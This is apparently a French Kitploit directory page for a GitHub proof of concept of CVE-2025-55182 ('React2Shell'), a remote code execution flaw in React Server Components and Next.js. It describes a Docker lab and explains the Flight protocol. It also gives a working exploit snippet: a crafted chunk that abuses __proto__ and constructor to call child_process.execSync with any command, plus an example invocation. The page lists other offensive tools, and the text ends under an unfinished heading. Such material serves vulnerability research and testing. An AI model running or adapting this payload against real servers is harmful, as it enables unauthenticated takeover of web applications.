Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/monarchfish/cve-2025-55182-poc
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

Preuve de concept pour CVE-2025-55182 (React2Shell) : RCE non authentifiée dans React Server Components / Next.js via la désérialisation du protocole Flight.

Voir le dépôt
50il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    353
  • 4

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Le système d'action pour la cybersécurité native IA—où l'intention devient une exécution gouvernée, les preuves deviennent une mémoire opérationnelle, et chaque opération améliore la suivante.

    288

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Informations générales

CVE-2025-55182 est l'une des vulnérabilités de frameworks Web les plus impactantes de 2025. Les React Server Components (RSC) constituent désormais l'architecture dominante des applications Next.js modernes ; un grand nombre de projets standards créés avec create-next-app sont concernés, et la vulnérabilité peut être exploitée sans aucun code personnalisé.

ChampDétails
Identifiant CVECVE-2025-55182
AliasReact2Shell
Type de vulnérabilitéExécution de code à distance non authentifiée (Unauthenticated RCE) ; CWE-502 Désérialisation de données non fiables (Deserialization of Untrusted Data) [3]
Score CVSS10.0 (Critical) (CVSS 3.1, Facebook/CNA [2])
Paquets concernésreact-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack
Versions concernéesReact 19.0.0 à 19.2.0 / Next.js 14.3.0-canary.77 et versions ultérieures, 15.x, 16.x
Complexité de l'attaqueTrès faible (une seule requête HTTP POST)
Authentification requiseNon

Procédure de création du POC

1. Créer l'application avec la commande officielle

Créez une application Next avec la version vulnérable (16.0.6) :

pnpm create [email protected] next-app --yes

2. Créer une Server Action de test

  1. Ajoutez actions.ts dans next-app/app/, en le marquant comme Server Action :

    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. Sur la page d'accueil (par exemple app/page.tsx), ajoutez un formulaire dont l'action pointe vers testAction ci-dessus, en incluant au moins un champ (par exemple un hidden input).

    Next.js génère pour ce formulaire un hidden input name="$ACTION_ID_<40 字元 hex>" dans le HTML ; le POC extrait cet ID du HTML de la page d'accueil à l'aide d'une expression régulière.

3. Créer un environnement POC conteneurisé sécurisé

Le next-app/Dockerfile et le docker-compose.yml du projet permettent de construire et d'exécuter l'application Next ; leur rédaction peut s'inspirer de l'exemple officiel [8].

Exécutez à la racine du projet :

docker compose up --build -d

L'application Next démarrée est alors accessible à l'adresse http://localhost:3000.

Une fois le POC terminé, supprimez complètement l'environnement Docker :

docker compose down -v

Étapes d'exploitation

Étape 1 : obtenir l'ACTION_ID

Lors de l'exécution du POC, le script récupère la page d'accueil et en extrait l'ID à l'aide de l'expression régulière \$ACTION_ID_([a-f0-9]{40})/. Exemple :

const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

Étape 2 : exécuter l'exploitation

Après avoir installé les dépendances à la racine du projet, exécutez :

pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

Le fragment de code clé est le suivant :

function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

Voici un exemple d'écriture d'un fichier sur la machine cible :

pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

Étape 3 : observer les résultats

  • Lorsque la RCE réussit, le serveur peut se bloquer ou expirer après l'exécution de la commande ; la requête se termine alors par un timeout, ce qui est un comportement attendu.
  • Vérifiez sur la machine cible que la commande a bien été exécutée (par exemple en contrôlant les fichiers ou les processus).
  • Vous pouvez entrer dans le conteneur avec docker compose exec pour vérifier, ou bien utiliser Docker Desktop.

Principe de fonctionnement

Emplacement de la vulnérabilité

La vulnérabilité se situe dans le mécanisme de désérialisation du protocole Flight de React (RSC Flight Deserializer). Ce mécanisme est chargé de transmettre l'état des composants React entre le serveur et le client, mais son flux de traitement présente un grave problème de frontière de confiance (trust boundary).

Le protocole Flight de React est le format de transmission (wire format) conçu par React pour les Server Components et les Server Actions : il sérialise l'arbre de composants, les paramètres de fonctions, etc., en un flux de chunks représenté en JSON, et établit des références entre les chunks via $數字, $數字:鍵名, ce qui permet au serveur de reconstituer des valeurs JavaScript complètes.

Chaîne d'exploitation (Exploit Chain)

L'attaquant envoie une requête HTTP POST malveillante
        ↓
[Étape 1] Création d'un objet en auto-référence (Self-referential loop)
        ↓
[Étape 2] Le moteur JavaScript est amené à appeler une fonction contrôlée par l'attaquant
        ↓
[Étape 3] Injection de données malveillantes pour déclencher le flux d'initialisation de Flight
        ↓
[Étape 4] Appel du constructeur Function via le Blob Handler
        ↓
Exécution de JavaScript arbitraire côté serveur (RCE)

React Server et format de transmission

Les Server Functions de React (c'est-à-dire les Server Actions dans Next.js) sérialisent les données que le frontend doit envoyer au backend via le protocole React Flight en chunks successifs, puis les envoient sous forme de données de formulaire (form data).

Les avantages de cette conception sont les suivants :

  • Transmission en flux (streaming) : les chunks peuvent être générés et analysés séquentiellement, sans avoir à attendre que l'intégralité du payload soit prête, ce qui est favorable au contrôle de la latence et de la mémoire.
  • Déduplication et partage : une même donnée n'est sérialisée qu'une seule fois et est référencée à plusieurs endroits, ce qui réduit les redondances et le volume transmis.
  • Compatibilité avec les POST de formulaire : les chunks sont envoyés comme champs multipart, sans nécessiter de protocole binaire personnalisé, ce qui profite également aux CDN, aux proxys et au débogage existants.
  • Expression de structures complexes : prise en charge des objets imbriqués et des structures de graphe exprimées par références, ce qui répond aux types riches exigés par le RPC.

Les chunks peuvent se référencer mutuellement, par exemple :

  • chunk 0 : ["$1"] (référence le chunk 1)
  • chunk 1 : {"object":"fruit","name":"$2:fruitName"} (référence le champ fruitName du chunk 2)
  • chunk 2 : {"fruitName":"cherry"}

Après interprétation, le serveur obtient : { object: 'fruit', name: 'cherry' }. Autrement dit, le protocole permet d'utiliser $數字:鍵名 pour référencer les propriétés d'autres chunks, puis de les combiner en un objet JavaScript final.

Cause de la vulnérabilité

Télécharger l’outil